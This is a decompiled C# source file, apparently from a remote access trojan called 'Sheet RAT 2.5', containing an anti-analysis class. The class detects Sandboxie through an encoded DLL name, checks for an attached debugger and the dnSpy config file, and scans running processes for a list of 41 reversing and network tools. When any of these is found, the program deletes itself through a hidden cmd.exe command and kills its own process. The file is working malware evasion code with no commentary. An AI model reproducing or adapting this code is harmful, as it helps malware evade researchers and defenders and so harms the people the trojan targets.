// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.SelfDeleteClass
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe

using System;
using System.Windows.Forms;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;

//#nullable disable
namespace MindLated.Protection.Anti.Runtime {

internal class SelfDeleteClass
{
  public static void Init()
  {
    if (SelfDeleteClass.IsSandboxie())
      SelfDeleteClass.SelfDelete();
    if (SelfDeleteClass.IsDebugger())
      SelfDeleteClass.SelfDelete();
    if (!SelfDeleteClass.IsdnSpyRun())
      return;
    SelfDeleteClass.SelfDelete();
  }

  private static bool IsSandboxie() => SelfDeleteClass.IsDetected();

  private static bool IsDebugger() => SelfDeleteClass.Run();

  private static bool IsdnSpyRun() => SelfDeleteClass.ValueType();

  private static void SelfDelete()
  {
    Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
    {
      WindowStyle = ProcessWindowStyle.Hidden
    })?.Dispose();
    Process.GetCurrentProcess().Kill();
  }

  private static bool ValueType()
  {
    return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml");
  }

  private static IntPtr GetModuleHandle(string libName)
  {
    foreach (ProcessModule module in (ReadOnlyCollectionBase) Process.GetCurrentProcess().Modules)
    {
      if (module.ModuleName.ToLower().Contains(libName.ToLower()))
        return module.BaseAddress;
    }
    return IntPtr.Zero;
  }

  private static bool IsDetected()
  {
    return SelfDeleteClass.GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero;
  }

  private static bool Run()
  {
    bool flag = false;
    if (Debugger.IsAttached || Debugger.IsLogging())
    {
      flag = true;
    }
    else
    {
      string[] strArray = new string[41]
      {
        "codecracker",
        "x32dbg",
        "x64dbg",
        "ollydbg",
        "ida",
        "charles",
        "dnspy",
        "simpleassembly",
        "peek",
        "httpanalyzer",
        "httpdebug",
        "fiddler",
        "wireshark",
        "dbx",
        "mdbg",
        "gdb",
        "windbg",
        "dbgclr",
        "kdb",
        "kgdb",
        "mdb",
        "processhacker",
        "scylla_x86",
        "scylla_x64",
        "scylla",
        "idau64",
        "idau",
        "idaq",
        "idaq64",
        "idaw",
        "idaw64",
        "idag",
        "idag64",
        "ida64",
        "ida",
        "ImportREC",
        "IMMUNITYDEBUGGER",
        "MegaDumper",
        "CodeBrowser",
        "reshacker",
        "cheat engine"
      };
      foreach (Process process in Process.GetProcesses())
      {
        if (process != Process.GetCurrentProcess())
        {
          for (int index = 0; index < strArray.Length; ++index)
          {
            if (process.ProcessName.ToLower().Contains(strArray[index]))
              flag = true;
            if (process.MainWindowTitle.ToLower().Contains(strArray[index]))
              flag = true;
          }
        }
      }
    }
    return flag;
  }
}
}